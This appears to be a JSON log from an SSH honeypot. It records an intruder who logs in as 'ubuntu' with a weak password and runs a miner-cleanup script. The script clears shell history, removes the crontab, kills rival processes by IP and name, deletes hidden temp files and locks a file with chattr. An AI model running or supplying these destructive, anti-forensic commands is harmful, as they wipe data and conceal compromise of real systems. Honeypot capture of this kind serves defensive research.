{"id":"4141a3a9-0218-48ae-843f-dcf4b0c1d7a3","name":"forlorn-frugal-ibis","protocol":"ssh","channel_kind":"shell","src_ip":"86.104.23.207","src_port":16558,"username":"ubuntu","client_version":"SSH-2.0-OpenSSH_9.7p1 Debian-5","auth_attempts":3,"automation":"unknown","think_ms":2,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T17:50:46.023470+00:00","ended_at":"2026-08-25T17:50:59.908396+00:00","ended_reason":"logout","commands":32,"transcript_bytes":1850,"events":[{"seq":1,"at":"2026-08-25T17:50:46.037361+00:00","kind":"input","latency_ms":null,"data":"#!/bin/bash\n"},{"seq":2,"at":"2026-08-25T17:50:46.632742+00:00","kind":"output","latency_ms":593,"data":""},{"seq":3,"at":"2026-08-25T17:50:46.639292+00:00","kind":"input","latency_ms":null,"data":"\n"},{"seq":4,"at":"2026-08-25T17:50:46.640503+00:00","kind":"input","latency_ms":null,"data":"unset HISTFILE ; unset HISTSIZE\n"},{"seq":5,"at":"2026-08-25T17:50:47.043130+00:00","kind":"output","latency_ms":409,"data":""},{"seq":6,"at":"2026-08-25T17:50:47.046173+00:00","kind":"input","latency_ms":null,"data":"\n"},{"seq":7,"at":"2026-08-25T17:50:47.046759+00:00","kind":"input","latency_ms":null,"data":"crontab -r\n"},{"seq":8,"at":"2026-08-25T17:50:47.648078+00:00","kind":"output","latency_ms":602,"data":"crontab: no crontab for ubuntu"},{"seq":9,"at":"2026-08-25T17:50:47.650555+00:00","kind":"input","latency_ms":null,"data":"kill -9 `netstat -anp | grep 45.9.148 | awk '{print $7}' | cut -f 1 -d '/'`\n"},{"seq":10,"at":"2026-08-25T17:50:48.534662+00:00","kind":"output","latency_ms":882,"data":"kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]\n"},{"seq":11,"at":"2026-08-25T17:50:48.536876+00:00","kind":"input","latency_ms":null,"data":"kill -9 `netstat -anp | grep 45.9.148.117 | awk '{print $7}' | cut -f 1 -d '/'`\n"},{"seq":12,"at":"2026-08-25T17:50:49.322808+00:00","kind":"output","latency_ms":787,"data":"kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]"},{"seq":13,"at":"2026-08-25T17:50:49.324964+00:00","kind":"input","latency_ms":null,"data":"kill -9 `ps -ef | grep ps | grep -iv ef | grep -iv grep | awk '{print $2}'`\n"},{"seq":14,"at":"2026-08-25T17:50:50.128341+00:00","kind":"output","latency_ms":801,"data":"kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]"},{"seq":15,"at":"2026-08-25T17:50:50.135659+00:00","kind":"input","latency_ms":null,"data":"kill -9 `ps -ef | grep \"httpd  3 -f\"  | grep -iv grep | awk '{print $2}'`\n"},{"seq":16,"at":"2026-08-25T17:50:50.760456+00:00","kind":"output","latency_ms":627,"data":"kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]"},{"seq":17,"at":"2026-08-25T17:50:50.766901+00:00","kind":"input","latency_ms":null,"data":"kill -9 `ps -ef | grep \"sshd -t\" | grep -iv grep | awk '{print $2}'`\n"},{"seq":18,"at":"2026-08-25T17:50:51.609885+00:00","kind":"output","latency_ms":855,"data":"kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]"},{"seq":19,"at":"2026-08-25T17:50:51.614340+00:00","kind":"input","latency_ms":null,"data":"kill -9 `ps -ef | grep lyo | grep -iv grep | awk '{print $2}'`\n"},{"seq":20,"at":"2026-08-25T17:50:52.214786+00:00","kind":"output","latency_ms":598,"data":"kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]"},{"seq":21,"at":"2026-08-25T17:50:52.218440+00:00","kind":"input","latency_ms":null,"data":"cd ~ ; rm -fr .configrc ; touch .configrc ; rm -fr /tmp/.X* ; rm -fr /tmp/.x*\n"},{"seq":22,"at":"2026-08-25T17:50:53.227430+00:00","kind":"output","latency_ms":1015,"data":""},{"seq":23,"at":"2026-08-25T17:50:53.231015+00:00","kind":"input","latency_ms":null,"data":"rm -fr .local ; touch .local\n"},{"seq":24,"at":"2026-08-25T17:50:53.733082+00:00","kind":"output","latency_ms":505,"data":""},{"seq":25,"at":"2026-08-25T17:50:53.736259+00:00","kind":"input","latency_ms":null,"data":"\n"},{"seq":26,"at":"2026-08-25T17:50:53.739705+00:00","kind":"input","latency_ms":null,"data":"rm -fr /go/cx ; killall cx\n"},{"seq":27,"at":"2026-08-25T17:50:54.278725+00:00","kind":"output","latency_ms":541,"data":"killall: cx: no process found"},{"seq":28,"at":"2026-08-25T17:50:54.280886+00:00","kind":"input","latency_ms":null,"data":"pkill cx\n"},{"seq":29,"at":"2026-08-25T17:50:54.807791+00:00","kind":"output","latency_ms":530,"data":""},{"seq":30,"at":"2026-08-25T17:50:54.816806+00:00","kind":"input","latency_ms":null,"data":"kill -9 `ps -ef | grep myfile | grep -iv grep | awk '{print $2}'`\n"},{"seq":31,"at":"2026-08-25T17:50:55.262842+00:00","kind":"output","latency_ms":451,"data":""},{"seq":32,"at":"2026-08-25T17:50:55.265204+00:00","kind":"input","latency_ms":null,"data":"\n"},{"seq":33,"at":"2026-08-25T17:50:55.265841+00:00","kind":"input","latency_ms":null,"data":"\n"},{"seq":34,"at":"2026-08-25T17:50:55.268260+00:00","kind":"input","latency_ms":null,"data":"mv /usr/local/bin/Challenge /usr/local/bin/Challenge1\n"},{"seq":35,"at":"2026-08-25T17:50:55.779702+00:00","kind":"output","latency_ms":514,"data":""},{"seq":36,"at":"2026-08-25T17:50:55.784194+00:00","kind":"input","latency_ms":null,"data":"rm -fr /usr/local/bin/Challenge ; mkdir /usr/local/bin/Challenge\n"},{"seq":37,"at":"2026-08-25T17:50:56.427873+00:00","kind":"output","latency_ms":640,"data":""},{"seq":38,"at":"2026-08-25T17:50:56.432331+00:00","kind":"input","latency_ms":null,"data":"killall Challenge\n"},{"seq":39,"at":"2026-08-25T17:50:56.806321+00:00","kind":"output","latency_ms":381,"data":"killall: Challenge: no process found"},{"seq":40,"at":"2026-08-25T17:50:56.808646+00:00","kind":"input","latency_ms":null,"data":"\n"},{"seq":41,"at":"2026-08-25T17:50:56.809280+00:00","kind":"input","latency_ms":null,"data":"rm -fr /var/tmp/.wintsk ; touch /var/tmp/.wintsk ; chattr +ai /var/tmp/.wintsk\n"},{"seq":42,"at":"2026-08-25T17:50:57.383864+00:00","kind":"output","latency_ms":571,"data":""},{"seq":43,"at":"2026-08-25T17:50:57.386718+00:00","kind":"input","latency_ms":null,"data":"kill -9 `netstat -anp | grep 46.4.23.103 |  awk '{print $7}' | cut -f 1 -d '/'`\n"},{"seq":44,"at":"2026-08-25T17:50:57.925840+00:00","kind":"output","latency_ms":538,"data":"\n\n"},{"seq":45,"at":"2026-08-25T17:50:57.928114+00:00","kind":"input","latency_ms":null,"data":"\n"},{"seq":46,"at":"2026-08-25T17:50:57.928691+00:00","kind":"input","latency_ms":null,"data":"netstat -an | grep '212.227.161.191' | grep -i estab\n"},{"seq":47,"at":"2026-08-25T17:50:58.463581+00:00","kind":"output","latency_ms":535,"data":""},{"seq":48,"at":"2026-08-25T17:50:58.465858+00:00","kind":"input","latency_ms":null,"data":"\n"},{"seq":49,"at":"2026-08-25T17:50:58.466189+00:00","kind":"input","latency_ms":null,"data":"if [ $? = 0 ]\n"},{"seq":50,"at":"2026-08-25T17:50:59.071303+00:00","kind":"output","latency_ms":605,"data":""},{"seq":51,"at":"2026-08-25T17:50:59.073348+00:00","kind":"input","latency_ms":null,"data":"then\n"},{"seq":52,"at":"2026-08-25T17:50:59.657892+00:00","kind":"output","latency_ms":585,"data":"/bin/bash: -c: line 2: syntax error: unexpected end of file"},{"seq":53,"at":"2026-08-25T17:50:59.660726+00:00","kind":"input","latency_ms":null,"data":"        echo Already running\n"},{"seq":54,"at":"2026-08-25T17:50:59.661599+00:00","kind":"output","latency_ms":null,"data":"Already running"},{"seq":55,"at":"2026-08-25T17:50:59.662271+00:00","kind":"input","latency_ms":null,"data":"        exit\n"},{"seq":56,"at":"2026-08-25T17:50:59.662953+00:00","kind":"output","latency_ms":null,"data":"logout"}],"credentials":[{"username":"ubuntu","password":null,"method":"publickey","accepted":false,"tier":null},{"username":"ubuntu","password":null,"method":"publickey","accepted":false,"tier":null},{"username":"ubuntu","password":"P@ssw0rd.12","method":"password","accepted":true,"tier":"other"}]}